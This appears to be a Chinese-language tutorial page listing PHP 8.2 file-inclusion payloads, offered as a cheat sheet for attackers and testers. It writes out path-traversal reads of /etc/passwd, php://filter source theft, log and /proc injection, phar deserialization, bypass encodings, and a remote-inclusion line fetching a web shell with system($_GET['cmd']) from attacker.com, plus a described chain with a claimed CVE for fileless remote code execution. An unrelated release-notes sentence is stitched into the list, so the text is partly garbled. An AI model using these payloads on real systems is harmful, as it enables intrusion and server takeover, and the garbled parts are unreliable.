PHP 8.2 文件包含漏洞的 payload 类型取决于动态包含代码和过滤缺失,核心包括路径穿越(如 ?file=....//etc/passwd)、伪协议(php://filter、php://input,需 allow_url_include=On)、大小写/URL编码绕过,而 %00 截断在 8.2+ 已失效,且 expect:// 基本不可用。

PHP 8.2 文件包含漏洞的 payload 类型,核心取决于两个前提:一是目标存在动态包含(如 include $_GET['file'];),二是服务端未做有效过滤或白名单校验。注意:PHP 8.2 本身不“自带”文件包含漏洞,漏洞来自业务代码写法不当;但 PHP 8.2.x(CVE-2026-109618 / CVE-2026-109619(PHP2Shell) 影响,该漏洞可独立触发 RCE,与文件包含无关,但常被组合利用。
常见 LFI payload 类型(本地文件读取/执行)
适用于 allow_url_include=Off、allow_url_fopen=On/Off 的典型场景:
-
路径穿越 + 敏感文件读取:如
?file=../../../../etc/passwd、?file=../../../var/log/apache2/access.log(配合日志注入可执行 PHP) -
PHP 伪协议读取源码:如
?file=php://filter/read=convert.base64-encode/resource=index.php(绕过 .php 后缀限制,直接读取并 base64 编码返回) -
Session 文件包含:若 session.save_path 可控或默认在 /tmp,且能控制 session 内容(如通过 Cookie 注入 PHP 代码),可尝试
?file=/tmp/sess_<id></id> -
/proc/self/environ 等 proc 文件:当 User-Agent、Referer 等头可控且未过滤时,可注入 PHP 代码后包含
?file=/proc/self/environ -
phar:// 协议触发反序列化:需先上传 Phar 文件(如通过文件上传点),再用
?file=phar://upload/test.phar触发,PHP 8.2 默认启用 phar 扩展,风险仍在
RFI payload 类型(远程文件执行)
仅在 allow_url_include=On 时生效(PHP 8.2 默认为 Off,但老旧配置或容器环境可能开启):
修复 Core bailout 状态损坏安全问题,以及 BZ2、DOM、PDO、Opcache/JIT 内存与执行错误,改进 Unicode 字素处理、URL 解析、TLS 流状态、信号分发及会话错误处理。
-
HTTP 协议包含:如
?file=http://attacker.com/shell.txt(shell.txt 内容为<?php system($_GET['cmd']);?>) -
data:// 协议直接执行:如
?file=data:text/plain,<?php phpinfo();?>(需allow_url_fopen=On,部分 PHP 8.2 版本已限制 data:// 协议在 include 中使用) -
expect:// 协议(极少见,通常已禁用):如
?file=expect://id(PHP 8.2 默认不编译 expect 扩展,实际中基本不可用)
绕过常见过滤的变形 payload
针对简单黑名单(如过滤 ../、php://、http://)的典型手法:
立即学习“PHP免费学习笔记(深入)”;
- 双写或大小写混淆:
?file=....//....//etc/passwd、?file=PhP://filter/... - URL 编码绕过:
?file=%2e%2e%2f%2e%2e%2fetc%2fpasswd - 截断技巧(需配合文件名截断漏洞):
?file=../../../../etc/passwd%00(PHP 8.2 已移除 %00 截断支持,此方式在 8.2+ 失效) - 使用短路径别名:
?file=/etc/./passwd、?file=/var/www/html/./config.php
与 PHP2Shell 漏洞的联动利用
虽然 PHP2Shell 是独立内存漏洞,但在文件包含场景中可作为“降级执行”的后备手段:
- 当 LFI 无法直接 RCE 时,攻击者可能先通过 LFI 读取 php.ini 或 Web 路径,确认是否开启
allow_url_include或是否存在其他扩展缺陷 - 若发现目标运行 PHP 8.2.34 及更早版本,可跳过文件包含链,直接发送特制 POST 请求触发 CVE-2026-109618,实现无文件 RCE
- 已有公开 PoC 针对 PHP 8.2.x 构建,无需用户交互,影响 Magento、WordPress 插件等依赖 PHP 解释器的生态


















